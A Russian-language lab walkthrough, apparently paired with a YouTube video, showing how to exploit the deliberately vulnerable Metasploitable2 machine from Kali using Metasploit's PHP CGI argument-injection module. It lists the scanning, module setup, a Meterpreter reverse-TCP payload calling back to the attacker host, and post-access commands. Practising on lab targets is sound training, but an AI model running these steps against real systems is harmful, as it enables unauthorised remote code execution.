🎬 Этот видеоролик YouTube

1️⃣ Проверка цели

Определите IP Metasploitable с Kali:

ip a

Например:

Kali: 192.168.56.101

Metasploitable2: 192.168.56.102

Проверяем порт и сервис:

nmap -p 80 192.168.56.102

Также можно проверить в браузере:

http://192.168.56.102/

2️⃣ Запуск Metasploit

msfconsole

3️⃣ Выбор модуля эксплойта PHP CGI

search php cgi

Правильный модуль:

use exploit/multi/http/php_cgi_arg_injection

4️⃣ Настройка эксплойта

set RHOSTS 192.168.56.102
set RPORT 80
set TARGETURI /

Выбираем полезную нагрузку (payload):

set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.56.101
set LPORT 4444

Проверяем:

show options

5️⃣ Запуск эксплойта

run

или

exploit

Если всё прошло успешно:

Meterpreter session 1 opened

6️⃣ Проверка доступа

sysinfo
whoami